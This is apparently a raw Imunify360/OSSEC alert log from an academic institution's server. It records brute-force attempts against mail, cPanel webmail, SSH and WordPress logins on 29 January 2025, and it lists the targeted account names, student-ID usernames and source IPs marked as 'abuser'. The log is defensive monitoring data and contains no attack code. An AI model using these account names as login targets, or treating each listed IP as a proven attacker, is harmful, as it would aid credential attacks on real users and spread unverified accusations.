Jan 29 22:01:09 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.34.57.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.34.57.78
description:
2025-01-29 22:01:11 dovecot_plain authenticator failed for ([182.43.160.124]) [203.34.57.78]:47326: 535 Incorrect authentication data (set_id=ads88a00080y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.237.42.54
description:
Jan 29 22:01:18 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.237.42.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.13.237.163
description:
Jan 29 22:03:46 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.13.237.163 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.13.237.163
description:
2025-01-29 22:03:48 dovecot_login authenticator failed for ([127.0.0.1]) [59.13.237.163]:51070: 535 Incorrect authentication data (set_id=ebentil@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 200.8.155.121
description:
[2025-01-29 22:02:55 +0100] info [webmaild] 200.8.155.121 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 22:03:00 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.201.178.239
description:
Jan 29 22:03:55 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.201.178.239 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.201.178.239
description:
2025-01-29 22:03:57 dovecot_login authenticator failed for ([127.0.0.1]) [117.201.178.239]:42956: 535 Incorrect authentication data (set_id=ebentil)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.216.119.13
description:
Jan 29 22:04:10 ait sshd[522317]: pam_imunify(sshd:auth): [IM360_RBL] The IP 118.216.119.13 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 118.216.119.13
description:
Jan 29 22:04:10 ait sshd[522317]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=118.216.119.13  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.127.96.167
description:
[2025-01-29 22:04:26 +0100] info [webmaild] 179.127.96.167 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 22:04:38 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.218.168.192
description:
Jan 29 22:05:06 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.218.168.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.2.123.19
description:
Jan 29 22:04:54 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.2.123.19 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.255.43.238
description:
[2025-01-29 22:04:57 +0100] info [webmaild] 179.255.43.238 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 185.142.58.195
description:
[2025-01-29 22:05:38 +0100] info [webmaild] 185.142.58.195 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 213.230.114.199
description:
[2025-01-29 22:05:42 +0100] info [webmaild] 213.230.114.199 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.2.123.19
description:
2025-01-29 22:04:56 dovecot_plain authenticator failed for (dynamic-ip-adsl.viettel.vn) [117.2.123.19]:36870: 535 Incorrect authentication data (set_id=ads21b00152y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.218.168.192
description:
2025-01-29 22:05:08 dovecot_plain authenticator failed for (189.218.168.192-clientes-izzi.mx) [189.218.168.192]:51467: 535 Incorrect authentication data (set_id=ads21b00152y)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.58.81
description:
47.128.58.81 - - [29/Jan/2025:22:05:06 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12905623 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/courses/page/10/?duration=short%2Clong&filter_course-language=95&filtering=1&instructor=2&level=beginner%2Cintermediate" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.58.81


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.17.131.80
description:
[2025-01-29 22:06:45 +0100] info [webmaild] 187.17.131.80 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.232.214.125
description:
[2025-01-29 22:07:25 +0100] info [webmaild] 45.232.214.125 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.117.93
description:
47.128.117.93 - - [29/Jan/2025:22:07:02 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=23660403 HTTP/2.0" 302 0 gou.university "https://gou.university/cgi-sys/suspendedpage.cgi?filter_course-language=95%2C118%2C183&price_type=paid" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.117.93


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.102.51.218
description:
Jan 29 22:07:03 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.102.51.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.102.51.218
description:
2025-01-29 22:07:05 dovecot_plain authenticator failed for ([94.102.51.218]) [94.102.51.218]:48832: 535 Incorrect authentication data (set_id=rnunator)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.108.112.193
description:
Jan 29 22:06:56 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.108.112.193 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.108.112.193
description:
2025-01-29 22:06:58 dovecot_plain authenticator failed for 131.108.112.193.pontonetassai.com.br [131.108.112.193]:60957: 535 Incorrect authentication data (set_id=rnunator@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 143.208.13.72
description:
[2025-01-29 22:08:39 +0100] info [webmaild] 143.208.13.72 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 22:07:54 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 122.51.104.242
description:
Jan 29 22:09:31 ait sshd[524753]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.104.242


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 22:09:48 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 188.245.228.175
domain: elibrary.aitsmartschool.com
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:22-09.188.245.228.175


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.54.54
description:
47.128.54.54 - - [29/Jan/2025:22:09:38 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=19257375 HTTP/2.0" 302 0 gou.university "https://gou.university/cgi-sys/suspendedpage.cgi?filter_course-language=120%2C183%2C118%2C121%2C99&filtering=1&instructor=1&rating_filter=5" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.54.54


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.153.186
description:
Jan 29 22:09:49 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.153.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.153.186
description:
2025-01-29 22:09:51 dovecot_login authenticator failed for (m121-202-153-186.smartone.com) [121.202.153.186]:60299: 535 Incorrect authentication data (set_id=visa@iric.us)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.55.177.39
description:
Jan 29 22:10:37 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.55.177.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.55.177.39
description:
2025-01-29 22:10:39 dovecot_plain authenticator failed for ([218.55.177.39]) [218.55.177.39]:48728: 535 Incorrect authentication data (set_id=ads20b00294y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.218.10.21
description:
Jan 29 22:09:59 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.218.10.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.205.235.94
description:
Jan 29 22:10:16 ait sshd[525204]: pam_imunify(sshd:auth): [IM360_RBL] The IP 119.205.235.94 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 119.205.235.94
description:
Jan 29 22:10:16 ait sshd[525204]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=119.205.235.94  user=root


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:22-10.15.206.171.64


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 22:10:51 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.174.189.52
description:
Jan 29 22:10:49 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.174.189.52 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.174.189.52
description:
2025-01-29 22:10:51 dovecot_plain authenticator failed for ([121.174.189.52]) [121.174.189.52]:42888: 535 Incorrect authentication data (set_id=ads20b00294y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.218.10.21
description:
2025-01-29 22:10:01 dovecot_login authenticator failed for ([118.218.10.21]) [118.218.10.21]:45882: 535 Incorrect authentication data (set_id=visa)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.65.222.15
description:
[2025-01-29 22:10:09 +0100] info [webmaild] 45.65.222.15 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.166.70.166
description:
Jan 29 22:11:41 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.166.70.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.166.70.166
description:
2025-01-29 22:11:43 dovecot_plain authenticator failed for (evert) [109.166.70.166]:39196: 535 Incorrect authentication data (set_id=phd@iric.us)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.126.233.243
description:
[2025-01-29 22:11:50 +0100] info [webmaild] 177.126.233.243 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 131.100.249.16
description:
[2025-01-29 22:11:03 +0100] info [webmaild] 131.100.249.16 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.201.195.166
description:
[2025-01-29 22:11:10 +0100] info [webmaild] 177.201.195.166 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.124.14.234
description:
[2025-01-29 22:12:17 +0100] info [webmaild] 177.124.14.234 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.95.220.162
description:
[2025-01-29 22:12:32 +0100] info [webmaild] 190.95.220.162 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.180.97.138
description:
Jan 29 22:13:53 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.180.97.138 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 188.236.175.114
description:
[2025-01-29 22:12:59 +0100] info [webmaild] 188.236.175.114 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 29 22:13:58 ait sshd[526681]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.185.225.50
description:
2025-01-29 22:14:11 dovecot_plain authenticator failed for ([220.185.225.50]) [220.185.225.50]:39714: 535 Incorrect authentication data (set_id=sng26b99239y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 29 22:13:58 ait sshd[526681]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 5.77.203.72
description:
[2025-01-29 22:14:29 +0100] info [webmaild] 5.77.203.72 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.180.97.138
description:
2025-01-29 22:13:55 dovecot_plain authenticator failed for ([1.180.97.138]) [1.180.97.138]:37383: 535 Incorrect authentication data (set_id=sng26b99239y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.185.225.50
description:
Jan 29 22:14:09 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.185.225.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.130.200.51
description:
2025-01-29 22:15:52 dovecot_plain authenticator failed for mail.infologic.co.il (bleing) [85.130.200.51]:47044: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.130.200.51
description:
Jan 29 22:15:50 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.130.200.51 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 157.230.172.131
domain: admission.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:22-16.157.230.172.131


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 185.116.195.203
domain: admission.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:22-16.185.116.195.203


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.226.106.253
description:
[2025-01-29 22:16:00 +0100] info [webmaild] 190.226.106.253 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 85.239.39.119
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:eng21a00038y@ait.edu.gh||WPU:eng21a00038y@ait.edu.gh||RSV:6.65||T:APACHE||MV:22-16.85.239.39.119


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.113.110.70
description:
[2025-01-29 22:16:16 +0100] info [webmaild] 190.113.110.70 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 95.13.149.111
description:
[2025-01-29 22:16:39 +0100] info [webmaild] 95.13.149.111 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 195.74.243.102
description:
[2025-01-29 22:17:30 +0100] info [webmaild] 195.74.243.102 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.186.54.65
description:
Jan 29 22:17:34 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.186.54.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.123.199.111
description:
Jan 29 22:17:43 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.123.199.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 20.84.104.238
description:
Jan 29 22:18:27 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 20.84.104.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.255.84.180
description:
2025-01-29 22:18:29 dovecot_plain authenticator failed for ns3042085.ip-51-255-84.eu (torcie) [51.255.84.180]:57216: 535 Incorrect authentication data (set_id=sales@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.123.199.111
description:
Jan 29 22:17:59 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.123.199.111 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.37.30.182
description:
[2025-01-29 22:18:25 +0100] info [webmaild] 191.37.30.182 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.255.84.180
description:
Jan 29 22:18:27 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.255.84.180 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.35.242.51
description:
2025-01-29 22:19:51 dovecot_plain authenticator failed for host-79-35-242-51.retail.telecomitalia.it [79.35.242.51]:51096: 535 Incorrect authentication data (set_id=ads20a00164y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.35.242.51
description:
Jan 29 22:19:49 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.35.242.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.187.253.67
description:
Jan 29 22:18:57 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.187.253.67 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 176.233.27.246
description:
[2025-01-29 22:19:04 +0100] info [webmaild] 176.233.27.246 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 22:19:52 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 196.217.86.14
description:
[2025-01-29 22:20:03 +0100] info [webmaild] 196.217.86.14 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.205.235.94
description:
Jan 29 22:20:17 ait sshd[529120]: pam_imunify(sshd:auth): [IM360_RBL] The IP 119.205.235.94 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 119.205.235.94
description:
Jan 29 22:20:17 ait sshd[529120]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=119.205.235.94  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.191.253.130
description:
Jan 29 22:20:13 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.191.253.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.92.108.98
description:
Jan 29 22:20:15 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.92.108.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.191.253.130
description:
2025-01-29 22:20:15 dovecot_plain authenticator failed for syn-068-191-253-130.biz.spectrum.com ([68.191.253.131]) [68.191.253.130]:45114: 535 Incorrect authentication data (set_id=ads20a00164y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.217.120.52
description:
Jan 29 22:20:38 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.217.120.52 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 102.213.24.151
description:
[2025-01-29 22:21:23 +0100] info [webmaild] 102.213.24.151 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.37.229.84
description:
[2025-01-29 22:21:27 +0100] info [webmaild] 191.37.229.84 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:22-21.80.76.51.123


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.81.171.224
description:
[2025-01-29 22:22:28 +0100] info [webmaild] 170.81.171.224 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.125.156.246
description:
[2025-01-29 22:23:03 +0100] info [webmaild] 179.125.156.246 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.3.21.184
description:
Jan 29 22:23:33 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.3.21.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.3.21.184
description:
2025-01-29 22:23:35 dovecot_login authenticator failed for ([127.0.0.1]) [61.3.21.184]:58825: 535 Incorrect authentication data (set_id=eng20a00052y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.114.84.175
description:
Jan 29 22:23:43 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.114.84.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.107.108.13
description:
Jan 29 22:23:09 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.107.108.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.107.108.13
description:
2025-01-29 22:23:11 dovecot_login authenticator failed for ([127.0.0.1]) [180.107.108.13]:38255: 535 Incorrect authentication data (set_id=eng20a00052y@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:22-23.15.206.171.64


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.114.84.175
description:
2025-01-29 22:23:45 dovecot_login authenticator failed for ([127.0.0.1]) [222.114.84.175]:49708: 535 Incorrect authentication data (set_id=eng20a00052y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.178.200.39
description:
Jan 29 22:24:55 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.178.200.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.178.200.39
description:
2025-01-29 22:24:57 dovecot_login authenticator failed for ([127.0.0.1]) [59.178.200.39]:55543: 535 Incorrect authentication data (set_id=ads21b00152y)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 103.249.112.157
domain: aitcourses.ait-edu.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:22-25.103.249.112.157


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.64.249.179
description:
Jan 29 22:26:33 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.64.249.179 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 200.24.154.203
description:
[2025-01-29 22:26:39 +0100] info [webmaild] 200.24.154.203 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.65.34.147
description:
Jan 29 22:26:40 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.65.34.147 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 114.142.153.182
domain: aitcourses.ait-edu.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:22-25.114.142.153.182


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 95.5.70.33
description:
